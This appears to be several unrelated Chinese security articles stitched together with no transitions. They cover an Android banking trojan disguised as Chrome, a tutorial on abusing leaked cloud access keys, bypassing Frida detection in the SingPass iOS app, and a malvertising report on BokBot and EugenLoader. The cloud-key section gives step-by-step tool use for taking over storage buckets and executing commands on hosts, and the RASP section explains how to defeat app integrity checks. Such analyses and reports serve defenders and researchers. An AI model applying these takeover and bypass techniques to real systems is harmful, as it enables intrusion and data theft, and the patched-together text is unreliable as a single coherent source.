查詢敏感信息手機數據(查詢存儲郵件、應用賬號數據、IMSI 等手機信息)

設置靜音

屏幕解鎖

訪問指定Url

試圖禁用管理員用戶

開啟輔助功能

監聽手機重啟事件

使用DownloadManager 下載文件

安裝測試當木馬安裝完成後,手機主界面會出現一個類似Chrome 瀏覽器的圖標(如圖1所示),與真實的Chrome 圖標略有差異。木馬使用的圖標較小,但在沒有相關對比的情況下,基本上很難識別出這種差異。

69d9616750171614f126e8e9498235a4

圖1

當木馬啟動後,界面會提示用戶需要開啟“無障礙功能”。在用戶點擊界面任意位置時,將自動跳轉到系統內的“無障礙功能”設置並自動啟用該功能(如下圖所示)。

容器 1(1).png

在啟動“無障礙功能”之後,程序會自動彈出並請求獲取“設備管理員權限”(如圖2所示)。

1d918d48ba6f9bf9aa3db5ed431d34f4

圖2

在惡意應用獲得設備管理員權限後,它會在後台不斷收集用戶信息,用戶很難察覺其存在。一旦設備管理員權限被授予,用戶在嘗試打開設備管理員權限設置界面時會發現界面迅速關閉,無法撤銷權限。類似地,通過adb 執行操作時也會遇到相同問題,界面會立刻關閉。這是因為惡意應用程序已經監控了設備管理員設置界面的開啟動作,從而阻止用戶撤銷其權限。因此,用戶需要啟用root 權限才能成功卸載此惡意應用。

adb shell am start -S 'com.android.settings/.Settings\$DeviceAdminSettingsActivity'

樣本深度分析基礎信息5(1).png

圖3

9eeec3cfd4ba76d6a0a44345c44b58c3

圖4

在使用Incinerator 進行手動分析之前,通過“基礎分析”模塊,我們發現該樣本程序具有加密殼(如圖3所示)。這意味著惡意應用程序的開發者使用了一種加密方法來保護其代碼,以防止分析和逆向工程。同時,我們注意到簽名信息中使用了“CN=Android Debug”(如圖4所示),這與正常的Chrome 證書不一致。這可能意味著此惡意應用程序的開發者試圖偽裝成正常的Chrome 應用,以便更容易地欺騙用戶並獲得其信任。

得益於incinerator 具備Apk 權限分析功能,我們可以在Apk 的詳細信息中獲取相應的權限列表(如圖5,6所示)。

8c614ba30c47a1965016569dda4e6884

圖5

2810336370326fca50ecb1adf6578306

圖6

在應用權限列表中,樣本獲取的權限中有13 項被評定為“危險”的權限。其中有幾個權限尤為危險:

發送短信(SEND_SMS)

讀取短信(READ_SMS)

接收短信(RECEIVE_SMS)

讀取聯繫人(READ_CONTACTS)

寫入聯繫人(WRITE_CONTACTS)

讀取電話號碼(READ_PHONE_NUMBER)

普通應用通常不會申請一些涉及敏感操作的權限,如改寫通訊錄、讀取和發送短信等。這些權限通常僅限於專門的通訊軟件。然而,當惡意應用獲取輔助功能權限後,它可以利用這一功能來自動開啟其他權限,包括一些對用戶隱私和安全具有潛在威脅的權限。

輔助功能是Android 系統中一項強大的功能,旨在幫助有特殊需求的用戶更好地使用設備。然而,這一功能也可能被惡意應用濫用,從而執行不受用戶控制的操作。一旦惡意應用獲得了輔助功能權限,它可以在用戶不知情的情況下執行各種操作,如啟用其他敏感權限,進而竊取用戶數據和破壞其隱私。因此,用戶需要謹慎授權輔助功能權限,避免將其授予不可信的應用。

代碼中用輔助功能開啟的權限列表如下:

android.permission.READ_SMS:允許應用程序讀取短信消息

android.permission.SEND_SMS:允許應用程序發送短信消息

android.permission.RECEIVE_SMS:允許應用程序接收短信消息

android.permission.READ_CONTACTS:允許應用程序讀取聯繫人列表

android.permission.WRITE_CONTACTS:允許應用程序編輯聯繫人列表

android.permission.READ_PHONE_STATE:允許應用程序讀取設備電話狀態和身份信息

android.permission.WRITE_EXTERNAL_STORAGE:允許應用程序寫入外部存儲,例如SD卡

android.permission.MODIFY_AUDIO_SETTINGS:允許應用程序修改聲音設置

android.permission.READ_EXTERNAL_STORAGE:允許應用程序讀取外部存儲,例如SD卡

android.permission.INSTALL_PACKAGES:允許應用程序安裝其他應用程序

android.permission.CALL_PHONE:允許應用程序撥打電話

android.permission.GET_ACCOUNTS:允許應用程序訪問設備帳戶列表

android.permission.READ_PHONE_NUMBERS:允許應用程序讀取設備電話號碼

android.permission.CLEAR_APP_CACHE:允許應用程序清除所有緩存文件

ec65723b3273174a343489d3475883f6

圖7

a4ff37c7b736fe71b508700ba4390c88

圖8

如上圖所示,該應用首先硬編碼了需要通過輔助功能開啟的權限列表,接著向系統發起對這些權限的申請。在PermissionsTask 環節中,應用會監聽權限申請的動作。一旦監聽到權限申請,該應用便利用輔助功能在權限申請界面上自動點擊“同意”按鈕。

靜態代碼分析在使用Incinerator 工具對樣本進行自動脫殼並分析惡意行為代碼後,我們發現以下主要功能:

1. 刪除指定應用以其應用數據惡意應用具有刪除其他應用及其數據的能力,可能影響用戶正常使用手機及其應用。

bac232005174772d5cb898d949dc8617

圖9

clearApp方法確實是通過執行pm clear package命令(如圖9所示)來刪除與特定應用程序包相關的緩存數據,包括圖片緩存、臨時文件、數據庫緩存等。這樣可以幫助清理設備上的垃圾文件,釋放存儲空間。

而deleteThisApp方法則通過觸發android.intent.action.DELETEintent 來實現應用的卸載(如圖9所示)。當系統接收到這個intent 時,會彈出一個卸載確認界面。通常情況下,用戶需要在此界面上手動點擊“同意”按鈕才能完成卸載。然而,由於這個惡意應用具有輔助功能權限,它可以在卸載確認界面出現時自動點擊“同意”按鈕,從而在用戶不知情的情況下完成卸載操作。這種做法進一步提高了惡意應用的隱蔽性和破壞性。

2. 安裝並啟動任意應用惡意應用可以安裝並啟動其他應用,可能進一步傳播惡意軟件或將用戶引導至惡意網站。

47e148941a8983668bf233bc1721120a

圖10

安裝和卸載應用確實是通過輔助功能來實現的。這種方式可以方便地為用戶自動化應用的安裝和卸載過程。唯一的區別在於,為了實現這一功能,惡意應用需要適配不同廠商的安裝應用包名和安裝Activity 的名稱。

這樣一來,惡意應用可以在各種不同的設備上成功執行安裝和卸載操作,從而更加隱蔽地實現其惡意行為。這種策略使得惡意應用在各類設備上具有更廣泛的攻擊能力。

3. 隱藏自身應用圖標為了難以被發現和卸載,惡意應用會隱藏自己的應用圖標(如圖11所示)。

2a22503bc8505cabd5cbbc4084d626b7

圖11

在這個惡意應用中,開發者使用了setComponentEnabledSetting方法來禁用Launcher Activity。這樣一來,用戶就無法通過設備主屏幕上的應用圖標(Launcher Icon)來操作或訪問該惡意應用了。

setComponentEnabledSetting方法可以用來啟用或禁用應用程序組件,如Activity、Service、BroadcastReceiver 等。在這種情況下,惡意應用通過禁用Launcher Activity,達到了隱藏自身的目的,讓用戶更難以察覺其存在。這種做法進一步提高了惡意應用的隱蔽性,使其更難以被發現和移除。

4. 上傳手機聯繫人等敏感信息惡意應用可以竊取並上傳用戶的聯繫人、短信、Cookie 等信息,可能導致用戶隱私洩露和財產損失。

fec40b6d80161cd69eedbb748387e9ce

圖12

0e9d5f601edfe7f0a01b49920a0a22aa

圖13

如圖12、13所示,惡意應用首先通過content://sms訪問短信內容,然後經過一系列業務邏輯處理,將其整合到網絡請求的數據中。除了短信數據,這個請求還包含瞭如SIM 卡信息、受害者設備的IP 地址、國家、城市和設備型號等信息。最後,這些數據會被發送到指定的服務器。

通過這種方式,惡意應用能夠竊取用戶的短信和設備信息,然後將這些數據發送給攻擊者。攻擊者可以利用這些信息進行各種違法活動,例如詐騙、竊取用戶隱私、甚至是身份盜竊。

5. 使用SmsManager 發送短信、 刪除短信、取消短信通知、讀取短信5.1 上傳短信

90ce1eff5787453308a3cbef169a556b

圖14

e2261256839bc65eb625995adddb6d32

圖15

根據上述描述,該惡意應用通過監聽收到短信的系統廣播,從廣播中提取收到的短信內容,然後將每一條短信發送給遠程服務器。在完成這個過程之後,應用還會終止收到短信的廣播,以免被用戶或其他應用程序發現。如圖15所示,super.execute指的是將收集到的短信數據發送給遠程服務器。

這種行為表明,該惡意應用在竊取用戶短信方面採取了較為積極的手段。用戶需要加強對此類應用的防範意識,以避免對其隱私和安全造成不良影響。

5.2 發送短信

7321db5b9db67fd34ae3b76be3f12587

圖16

調用系統SmsManager 發送短信(如圖16所示)。

6. 獲取用戶cookie 信息並上傳,注入cookie 等9545c3cbd4eb39c1f88d7aeb452a2483

圖17

如圖17所示,讀取所有cookie,上傳到遠程服務器,並且通過CookieManager 把本地cookie 刪除。

7. 讀取和上傳數字錢包信息7.1 讀取餘額

11fad808556b0d3a373165019b18dbe8

圖18

通過輔助功能,讀取代表餘額的View 顯示的字符內容,就是用戶錢包的餘額(如圖18所示)。

7.2 讀取seed phrase

12bde5def4ceef0a67a7d724b3247f7a

圖19

a7a03c38f2d4a91ac96261642398b3f5

圖20

利用輔助功能,從表示seed phrase 的View 中讀取內容(如圖19、20所示)。

7.3 上傳到服務器

878e51e53f4cb40cd75d036953c42d5a

圖21

把加密錢包信息發生到遠程服務器。

8. 記錄並上傳鍵盤輸入記錄60afb0bb00afcbc0ff686beee6891e9a

圖22

29f168a91f67d4c87e89966401883946

圖23

上面兩張圖,圖22所示監聽鍵盤輸入,通過輔助功能抽取數據,圖23所示把這些數據上傳到遠程服務器。

9. 查詢敏感信息手機數據(查詢存儲郵件和應用賬號數據,IMSI 等手機信息) 21c5287567e79b3d66e2c6ef52608455

圖24

通過AccountManager 獲取賬號信息,上傳到遠程服務器。

10. 把手機設置靜音5bc00f3d0ddb3537987ec9af5cef7b4b

圖25

通過audio 系統服務器,把手機設置為靜音(如圖25所示)。

11. 監聽手機重啟事件7ddace1b8b508c6511ebb0d6bb289603

圖26

1858e349a9a427c018c876e2913a57ff

圖27

監聽手機重啟事件,手機重啟後惡意就開始工作。

12. 使用DownloadManager 下載APK 並且安裝0e12dc8b1366433b7277118e3fc33c87

圖28

下載apk 並且使用安裝。

13. 拍照、錄視頻fc2abe1db55f80ca58c3ad9f8e7f33b3

圖29

91b434f95993bc1af3b41d2e3a94caa5

圖30

14. 讀取其他文檔d05f18285e304b204408900173e50336

圖31

1b8a195114cd35c6a47bdd3e2cc74eca

圖32

15. 網絡請求代碼中所有的Log 都會上傳,上傳的服務器地址來自一段“加密”字符串(如圖33、34所示)。

前言

云平台作为降低企业资源成本的工具,在当今各大公司系统部署场景内已经成为不可或缺的重要组成部分,并且由于各类应用程序需要与其他内外部服务或程序进行通讯而大量使用凭证或密钥,因此在漏洞挖掘过程中经常会遇到一类漏洞:云主机秘钥泄露。此漏洞使攻击者接管云服务器的权限,对内部敏感信息查看或者删除等操作。此篇文章围绕如何发现秘钥泄露、拿到秘钥后如何利用展开。

0X01漏洞概述

ak、sk拿到后的利用,阿里云、腾讯云

云主机通过使用Access
Key Id / Secret Access Key加密的方法来验证某个请求的发送者身份。Access Key
Id(AK)用于标示用户,Secret Access Key(SK)是用户用于加密认证字符串和云厂商用来验证认证字符串的密钥,其中SK必须保密。

云主机接收到用户的请求后,系统将使用AK对应的相同的SK和同样的认证机制生成认证字符串,并与用户请求中包含的认证字符串进行比对。如果认证字符串相同,系统认为用户拥有指定的操作权限,并执行相关操作;如果认证字符串不同,系统将忽略该操作并返回错误码。

AK/SK原理使用对称加解密。

0x02秘钥泄露常见场景

通过上面描述我们知道云主机密钥如果泄露就会导致云主机被控制,危害很大。

在漏洞挖掘过程中常见的泄露场景有以下几种:

1、报错页面或者debug信息调试。

2、GITHUB关键字、FOFA等。

3、网站的配置文件

4、js文件中泄露

5、源码泄露。APK、小程序反编译后全局搜索查询。

6、文件上传、下载的时候也有可能会有泄露,比如上传图片、上传文档等位置。

7、HeapDump文件。

0x03实战举例

案例一:HeapDump文件中的ak\sk泄露

HeapDump文件是JVM虚拟机运行时内存的一个快照,通常用于性能分析等,但是因为其保存了对象、类等相关的信息,如果被泄露也会造成信息泄露。

1、Spring Actuator heapdump文件造成的秘钥泄露。

扫描工具:https://github.com/F6JO/RouteVulScan

解压工具:https://github.com/wyzxxz/heapdump_tool

访问某一网站时进行测试发现存在spring未授权,此时查看是否有heapdump文件,下载解压,全局搜索可发现秘钥泄露。

45p4lpfofmj13532.png

2、通过暴破路径的方式获取。

在文件存储位置会有一些敏感文件泄露,比如请求下载云服务器上某文件时候抓包分析。可以在请求位置暴破文件名,云服务器会返回带有访问秘钥的敏感文件。

ck1p0pvwkkz13533.png

得到文件地址后访问下载,下载后用工具爬取内容。发现泄露ak\sk

xjalztsouhu13534.png

工具链接:https://github.com/whwlsfb/JDumpSpider

案例二:Js文件泄露秘钥

使用工具:trufflehog

0levpmgdi2113535.png

访问某网站,使用插件trufflehog探测,会在Findings位置显示是否有密钥泄露。(网站采用异步加载也适用)

cldgxvgi0wr13536.png

3ec5kc3idrx13537.png

wot1k3to4jr13538.png

案例三:小程序上传等功能点泄露。

某小程序打开后在个人中心头像位置

wq2dnfismsz13539.png

点击头像抓包:

5nvvbnl51je13540.png

可以看到accesskeyid\acesskeysecret泄露。

渗透测试过程中可以多关注上传图片、下载文件、查看图片等等位置,说不定就有ak\sk泄露。

案例四:配置信息中的ak\sk泄露

常见的nacos后台配置列表,打开示例可以看到一些配置信息,可以看到有ak\sk泄露。

f40rzyohq5s13541.png

2w4gxs3pkfs13542.png

0x04漏洞利用

1、ak\sk接管存储桶。

使用工具或者云主机管理平台可以直接接管存储桶,接管桶后可以对桶内信息进行查看、上传、编辑、删除等操作。

OSS Browser--阿里云官方提供的OSS图形化管理工具

https://github.com/aliyun/oss-browser

buwh4pp0yww13543.png

pp0y3khwk4a13545.png

3du4rniwfzq13550.png

可以看到登入存储桶后可以查看、上传、删除、下载桶内文件,造成存储桶接管的危害。

腾讯云云主机接管平台:

https://cosbrowser.cloud.tencent.com/web/bucket

c2eesoezz2c13553.png

wxyetrf1g2z13558.png

行云管家(支持多家云主机厂商):

ve5ablv3ulg13563.png

可以选不同厂商的云主机导入。

ihurhksuquo13564.png

选择主机导入:

jnbcwimqebg13567.png

通过行云管家接管主机后,不仅可以访问OSS服务,还可以直接重置服务器密码,接管服务器。

y4qxnhoryge13568.png

1zi2uggpytn13573.png

可以对主机进行重启、暂停、修改主机信息等操作。

2、拿到ak\sk后可以尝试对主机进行命令执行。

CF 云环境利用框架

https://github.com/teamssix/cf/releases

hwxwqlf04ms13576.png

qzx1sa1u2lu13578.png

使用cf查看该主机可做的操作权限,可以看到能执行命令。

teryhnp2dtt13584.png

cf tencent cvm exec -c whoami等等。

详情参考:https://wiki.teamssix.com/CF/ECS/exec.html

针对阿里云主机rce

工具链接:https://github.com/mrknow001/aliyun-accesskey-Tools

输入ak\sk查询主机,选择主机名填入,查看云助手列表是true或者false,为true可执行命令。

lb2fq1yjw4v13589.png


转自原文链接: https://forum.butian.net/share/2376

線程檢查之前的Frida stalker 檢查的替代方法是通過以下調用訪問當前線程狀態:

43.png

然後,由於以下比較,它檢查state-ts_64.__pc 是否在libsystem_kernel.dylib 中:

44.png

換句話說,如果state-ts_64.__pc 與mach_msg 的距離小於0x4000,則認為它在libsystem_kernel.dylib 中。

乍一看,對這個RASP 檢查可能不是很熟悉,但由於之前與EVT_CODE_TRACING 相關的檢查旨在檢測Frida Stalker,因此該檢查也可能旨在檢測Frida Stalker。

為了證實這個假設,我開發了一個小測試用例,在一個獨立的二進製文件中重現了這個檢查,我們可以根據它是否通過Frida stalker 來觀察差異:

45.png

Stalker 測試用例的輸出

46.png

沒有Stalker 的測試用例的輸出

通過使用函數gum_stalker_exclude 從跟踪者中排除庫libsystem_kernel.dylib ,從而輕鬆繞過此檢查:

47.png

可以看到,state-ts_64.__pc 位於libsystem_kernel.dylib 中:

48.png

排除內存範圍的測試用例的輸出

應用加載的庫RASP 事件EVT_APP_LOADED_LIBRARIES 旨在檢查Mach-O 依賴項的完整性。換句話說,它檢查Mach-O 導入的庫是否被修改。

Assemblyranges:0x100E4CDF8–0x100e4d39c

由於dladdr 函數,與此檢查相關的代碼首先訪問Mach-O 標頭:

49.png

dl_info 包含庫的基地址,其中包含第一個參數中提供的地址,因此,一個Mach-O二進製文件會連同它的標頭文件Dl_info一起加載。 Dli_fbase實際上指向mach_header_64。

然後該函數遍歷類似LC_ID_DYLIB 的命令以訪問依賴項的名稱:

50.png

此名稱包含依賴項的路徑。例如,我們可以按如下方式訪問此列表:

51.png

依賴項的名稱用於填充哈希表,其中哈希值以32 位編碼:

52.png

在後面的代碼中,這個計算表將與另一個哈希表(代碼中硬編碼的)進行比較,如下所示:

53.png

哈希示例如果某些庫已被修改為註入,例如FridaGadget.dylib,那麼動態計算的哈希將與代碼中硬編碼的哈希不匹配。

雖然這種檢查的執行是相當“標準”的,但有幾點值得一提:

首先,哈希函數似乎是一個派生的MurmurHash。

其次,哈希是32位編碼的,但是圖4中的代碼引用了64位的X11/X12寄存器。這實際上是一個限制內存訪問次數的編譯器優化。

最後,在每個檢查實例中,硬編碼的哈希值在二進製文件中重複。在SingPass 中,此RASP 檢查出現兩次,因此我們在以下位置找到這些值:0x100E4CF38、0x100E55678。這種重複可能用於防止易於修復的單點位置(single spot location)。

代碼系統庫此檢查與事件EVT_CODE_SYSTEM_LIB 相關聯,該事件包括驗證內存系統庫及其在dyld 共享緩存(磁盤上)中的內容的完整性。

Assemblyranges:0x100ED5BF8–0x100ED5D6Cand0x100ED5E0C–0x100ED62D4

此檢查通常以以下模式開始:

54.png

如果帶有給定check_region_cbk 回調的iterate_system_region 的結果不為0,它會觸發EVT_CODE_SYSTEM_LIB 事件:

55.png

要理解這個檢查背後的邏輯,我們需要了解iterate_system_region 函數的用途以及它與回調check_region_cbk 的關係。

iterate_system_region該函數旨在調用系統函數vm_region_recurse_64,然後根據可能觸發第一個參數check_region_cbk中給出的回調的條件過濾它的輸出。

iterate_system_region首先通過SYS_shared_region_check_np系統調用訪問dyld共享緩存的基址。這個地址用於讀取和記憶dyld_cache_header結構中的一些屬性:

1.共享緩存標頭;

2.共享緩存結束地址;

3.與共享緩存相關的其他限制;

計算過程如下:

56.png

從逆向工程的角度來看,用於記憶這些信息的堆棧變量與稍後調用的vm_region_recurse_64 的參數信息別名。我不知道這種混疊是否是故意的,但它使結構的逆向工程變得更加複雜。

在vm_region_recurse_64上有一個循環,它查詢vm_region_submap_info_64信息,查找dyld共享緩存範圍內的這些地址。由於mach_msg_type_number_t *infoCnt參數被設為19,我們可以確定查詢的類型(vm_region_submap_info_64):

57.png

此循環在某些條件下中斷,並且在其他條件下觸發回調。正如稍後解釋的那樣,回調驗證dyld 共享緩存中存在的庫的內存完整性。

這個循環在某些條件下中斷,而在其他條件下觸發回調。回調會驗證dyld共享緩存中存在的庫在內存中的完整性。

基本上,如果發生以下情況,就會觸發對共享緩存進行深度檢測的回調:

58.png

check_region_cbk當條件滿足時,iterate_system_region調用check_region_cbk,第一個參數中帶有可疑地址:

59.png

在分析SingPass 時,只有一個回調函數與iterate_system_region一起使用,它的代碼並沒有特別混淆(字符串除外)。一旦我們知道這些檢查與dyld共享緩存有關,我們就可以很容易地弄清楚這個函數中涉及的結構。這個回調位於0x100ed5e0c地址,並重命名為check_region_cbk。

它首先訪問有關地址的信息:

60.png

此信息用於讀取與地址參數關聯的__TEXT 段的內容。

61.png

__TEXT 字符串以及共享緩存的不同路徑(如/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64e 和標頭的魔法值:0x01010b9126:dyld_v1 arm64e 或0x01010b9116:dyld_v1 arm64)都被編碼。

另一方面,該函數打開dyld_shared_cache 並查找包含與地址參數關聯的庫的共享緩存部分:

62.png

第二次調用mmap()的目的是加載包含庫代碼的共享緩存部分。然後,該函數檢查__TEXT段的內容是否與內存中的內容相匹配。執行此比較的循環位於0x100ED6C58 -0x100ED6C70。

我們可以從這個RASP檢查的描述中觀察到,開發者花了很多精力來避免性能問題和內存消耗。另一方面,在我的測試中從來沒有調用過回調check_region_cbk(即使我掛鉤了系統函數)。我不知道是不是因為我誤解了條件,但最後,我必須手動強制條件。

RASP 的設計弱點由於保存函數指針的不同#EVT_* 靜態變量,混淆器能夠為支持的RASP 事件提供專用回調。儘管如此,應用程序開發人員定義的函數init_and_check_rasp 將所有這些指針設置為同一個回調:hook_detect_cbk_user_def。在這樣的設計中,所有RASP 事件最終都在一個函數中,這削弱了不同RASP 檢查的強度。

這意味著我們只需要針對這個函數來禁用或繞過RASP 檢查。

63.png

由於這個缺點,我可以防止應用程序一啟動就顯示錯誤消息。

它存在另外兩個RASP 檢查:EVT_APP_MACHO 和EVT_APP_SIGNATURE,由於開發人員未啟用它們,因此在SingPass 中不存在。

總結一方面商業解決方案實現了強大而先進的RASP 功能,例如,內聯繫統調用分佈在應用程序的不同位置。另一方面,應用程序的開發人員通過為所有事件設置相同的回調來削弱RASP 功能。此外,該應用程序似乎沒有使用商業解決方案提供的本機代碼混淆,這使得RASP 檢查不受靜態代碼分析的保護。無論用戶提供什麼配置,對這些檢查強制執行代碼混淆都是值得的。

許多入侵和攻擊都是從終端被惡意軟件感染開始的。惡意軟件的傳播通常以誘騙某人打開一個可執行文件為手段,這些誘騙文件是良性的,例如一個常見的軟件實用程序,但實際上是惡意的。傳播惡意軟件最常見的方法之一是通過垃圾郵件,但還有其他方法,比如,一種長期使用的將惡意軟件植入系統的技術在去年年末重新出現。

“Malvertising”是惡意軟件和廣告的合成詞,其技術包括購買搜索引擎廣告,並在這些廣告中放置指向惡意網站的鏈接。自從與搜索相關的點擊付費(PPC)廣告出現以來,這種技術就一直被攻擊者使用,但最近不知出於什麼原因,這種技術被使用的頻率和數量出乎意料。接下來,我們將介紹惡意廣告是如何運作的,針對它的一些防禦措施,以及最近如何利用它來分發惡意軟件的例子。

PPC的工作原理谷歌的PPC廣告平台是攻擊者用來傳播惡意軟件的主要媒介。 Intel 471 曾詳細介紹過建立Google Ads活動的內容。這些文章介紹了很多關於這些攻擊者如何開展活動的信息,以及他們如何為自己的廣告獲得頂級搜索結果的一些理論。

谷歌的PPC廣告管理面板具有一個相當直觀的設計,允許用戶一目了然地查看他們的廣告活動統計數據。用戶可以查看他們當前的廣告、關鍵字、推薦、統計數據和每次優惠的總成本。用戶必須提供一個URL來創建廣告,顯示URL的路徑,提供優惠的描述,並為廣告製作一些標題。描述、標題和網站都被被納入谷歌用來計算廣告排名的公式中。

一旦創建了廣告,用戶可以設置廣告在PPC上花費的最大金額。廣告位的銷售採用了一種盲拍賣機制,廣告客戶可以出價高於競爭對手,但無法看到其他人對廣告位的出價。谷歌以前的廣告排名算法考慮的是廣告商為廣告植入排名的出價,然而,新系統綜合考慮了廣告出價、描述、標題和網站檢查。

一旦用戶創建了廣告並設定了投標價格,他們就可以開始使用Google Ads平台上的多種工具。通過設備定位,廣告商可以為只在平板電腦或手機等特定類型的設備上播放的廣告定價。

客戶可以在Google Ads面板的“受眾”選項卡中使用額外的目標定位。用戶可以監控點擊廣告的人的人口統計數據,創建有針對性的廣告,或排除某些人口統計數據,並針對特定類型的人,如在金融服務或酒店業工作的人。該平台還允許廣告商根據地理位置和受眾跟踪,或包括城市、州和郵政編碼在內的各種因素來定位客戶。

1.webp.jpg

2023年1月26日谷歌PPC廣告平台的廣告客戶目標選項的截圖

BokBotBokBot,也被稱為IcedID,是一種銀行木馬,也可以下載其他惡意軟件。 BokBot的開發人員與Conti勒索軟件組織和Trickbot(另一種用於傳播勒索軟件的銀行惡意軟件和殭屍網絡)一直有關聯。在過去的一年中,最初的訪問代理(IAB)越來越多地使用BokBot作為網關惡意軟件進行攻擊,以取代現已失效的BazarLoader或Trickbot家族。 2022年12月和2023年1月,BokBot運營商開始嘗試使用谷歌PPC廣告平台進行分發。

這些BokBot活動的流量分配系統(TDS)在谷歌搜索廣告引擎指向的登錄頁面上使用受害者和木馬過濾。此過濾確保連接客戶端不是來自虛擬專用網絡(VPN)IP地址,使用戶代理檢查並遵循超文本傳輸協議(HTTP)'GET'標頭條件。如果連接不符合條件,用戶不會被重定向到BokBot惡意登陸頁面,而是停留在廣告網站上,而廣告網站可能與目標應用程序或品牌無關。該網站通常與活動無關。符合目標標準的連接將被重定向到BokBot惡意登陸頁面,並且永遠不會看到廣告站點。

最近的BokBot活動偽裝成操作系統虛擬化平台Docker的廣告。惡意廣告包含拼寫錯誤的域名,並且似乎高於Docker的合法報價。一旦用戶點擊廣告鏈接,BokBot的第一個URL劫持域就會執行一些基本的木馬過濾,以確定廣告的觀看者是否是目標的合法受害者,而不是研究人員。如果基於用戶代理、用戶代理客戶端提示或地理位置的檢查失敗,Docker活動的登錄頁面將引導查看者進入一個關於如何設置和使用Docker的虛假教程。

2.webp.jpg

2023年1月26日,出現在合法Docker搜索結果和廣告之前的惡意Docker廣告截圖

BatLoader和EugenLoader/FakeBat惡意軟件加載器,也稱為“下載器(滴管)”,是系統上的初始感染,然後被攻擊者用來下載其他惡意代碼。 BatLoader於2022年2月被發現,是一種利用微軟軟件安裝程序(.msi)和PowerShell的加載器。

Intel 471最近發現,兩個不同的攻擊者正在通過不同的命令和控制(C2)基礎設施分發BatLoader。 Mandiant在2022年確定為BatLoader的活動涉及.MSI在安裝期間執行.BAT文件。然而,第二個活動不涉及.BAT文件的執行。相反,該惡意軟件有一個內嵌的PowerShell腳本,它會代替.BAT文件執行。由於這些差異,Intel 471分析師決定將第二次活動更名為EugenLoader,它也被稱為FakeBat。

由於之前的報告混合了EugenLoader和BatLoader,因此很難確定EugenLoaders何時首次出現。但它可能會在2022年11月或12月運行。在對EugenLoader的調查中,我們發現一個域名似乎被用作新活動的下載目的地。域的根目錄被錯誤地打開並顯示了EugenLoader活動的.MSI文件。如下圖所示,EugenLoader惡意軟件已被重命名為模擬已知軟件,如FileZilla、uTorrent和WinRAR等。

3.webp.jpg

可疑EugenLoader活動的域的根目錄處於打開狀態

在分發活動中,EugenLoader建立了一些域名,聲稱提供合法的流行軟件,但其實這是惡意軟件。

EugenLoader最活躍的惡意廣告活動之一是偽裝成WinRAR,這是一種用於壓縮和提取文件的流行軟件實用程序。雖然其他廣告活動似乎間歇性地將其廣告放在搜索結果的頂部,但WinRAR廣告活動沒有這樣的限制,這使得攻擊者能夠欺騙受害者不斷安裝EugenLoader。

EugenLoader還通過欺騙7-Zip(另一種流行的文件歸檔軟件)的惡意廣告活動進行分發。使用精心製作的谷歌搜索廣告,該活動能夠將其下載鏈接放置在7-Zip官方下載頁面之前,如下圖所示。

4.webp.jpg

有兩個PPC廣告提供7-Zip,但域名與官方項目無關

直到最近,惡意廣告還不是攻擊者首選的攻擊手段,與電子郵件垃圾郵件等傳統手段相比,它很少被使用。然而,EugenLoader背後的運營商能夠購買始終出現在谷歌第一搜索結果位置的廣告。惡意廣告技術有可能挑戰惡意軟件垃圾郵件(malspam)作為攻擊者首選載體的位置。

惡意軟件開發者投放惡意廣告有利有弊。首先,攻擊者可以通過廣告吸引尋找下載工具的用戶,出現在第一個搜索結果中意味著很有可能有人在沒有仔細查看域名的情況下點擊。隨後的登錄頁面看起來與合法登錄頁面完全相同,人們很可能會下載並安裝該工具。

這與垃圾郵件相比具有優勢,垃圾郵件可能會被安全工具捕獲並隔離,或者被發送到垃圾郵件文件夾,永遠不會被潛在受害者註意到。如果目標確實下載了它,攻擊者必須誘騙其打開,例如打開發票、點擊鏈接或運行可執行文件。但惡意廣告抓住了那些想下載並立即運行的人。

然而,惡意廣告的成本並不便宜。每次點擊點擊付費廣告的成本可能高達2至3美元。由於攻擊者不斷競標廣告位,這些行動也提高了合法廣告商的成本。有可能是惡意商家用偷來的信用卡信息來支付廣告費用。另外,攻擊者是如何為這些廣告買單的,這將是另一個值得研究的課題,它可能會挖掘出這些活動背後的團體。

在某些情況下,活動的成功與否可以衡量。一些惡意廣告將受害者引導到Bitbucket上的網站,這可能會顯示下載數量。其中一項活動的下載量超過3000次。按每次點擊2美元計算,投放廣告的人可能已經支付了多達6000美元,這表明攻擊者有經濟實力。在這些活動中發現的其他類型的惡意軟件包括RedLine等信息竊取軟件。惡意軟件經常阻礙VirusTotal提交。文件大小高達700 MB,這與滴管或加載器的典型大小相比非常大。 VirusTotal的文件大小限制為32 MB(最多可提交200 MB的文件),這意味著由分發的惡意文件不一定會有分析示例。

總結惡意廣告激增,對谷歌影響最大,在2023年1月中旬達到頂峰,此後有所下降。安全社區已經就其調查結果與穀歌取得聯繫。幾位研究人員製作了一份電子表格,用於跟踪惡意廣告活動和被假冒的品牌。在2023年1月19日至2023年2月22日期間,該電子表格包含了584起惡意廣告活動的示例。此外,研究人員還開發了一些工具,比如Randy McEoin開發的這個工具,它可以搜索惡意廣告,Michael McDonnell開發的這個工具也可以對活動截圖留證。